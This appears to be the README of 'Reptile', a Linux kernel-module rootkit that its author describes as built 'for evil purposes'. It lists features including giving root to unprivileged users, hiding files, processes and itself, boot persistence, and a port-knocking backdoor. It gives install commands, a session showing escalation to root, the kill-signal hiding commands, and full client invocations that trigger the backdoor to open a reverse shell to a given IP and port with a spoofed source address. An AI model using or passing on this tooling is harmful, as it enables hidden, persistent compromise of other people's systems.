Reptile - LKM Linux Rootkit

Reptile is a LKM rootkit for evil purposes. If you are searching stuff only for study purposes, see the demonstration codes.

Features

Give root to unprivileged users
Hide files and directories
Hide files contents
Hide processes
Hide himself
Boot persistence
Heaven's door - A ICMP/UDP port-knocking backdoor
Client to knock on heaven's door :D

Install

apt-get install linux-headers-$(uname -r)
https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./installer.sh install

Usage
Binaries will be copied to /reptile folder, that will be hidden by Reptile.

Getting root privileges

hax@Debian:~$ id
uid=1000(hax) gid=1000(hax) grupos=1000(hax),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),118(scanner)
hax@Debian:~$ /reptile/r00t
You got super powers!

root@Debian:/home/hax# id
uid=0(root) gid=0(root) groups=0(root)

Hiding

Hide/unhide reptile module: kill -50 0
Hide/unhide process: kill -49 <PID>
Hide files contents: all content between the tags will be hidden

Example:

#<reptile> 
content to hide 
#</reptile>

Knocking on heaven's door
Heaven's door is a ICMP/UDP port-knocking backdoor used by Reptile. To access the backdoor you can use the client:

Knock Knock on Heaven's Door
Writen by: F0rb1dd3n

Usage: ./knock_on_heaven <args>

-x      protocol (ICMP/UDP)
-s      Source IP address (You can spoof)
-t      Target IP address
-p      Source Port
-q      Target Port
-d      Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"
-l      Launch listener

[!] ICMP doesn't need ports

ICMP: ./knock_on_heaven -x icmp -s 192.168.0.2 -t 192.168.0.3 -d "F0rb1dd3n 192.168.0.4 4444" -l
UDP:  ./knock_on_heaven -x udp  -s 192.168.0.2 -t 192.168.0.3 -p 53 -q 53 -d "F0rb1dd3n 192.168.0.4 4444" -l

Disclaimer
Some functions of this module is based on another rootkits. Please see the references!

References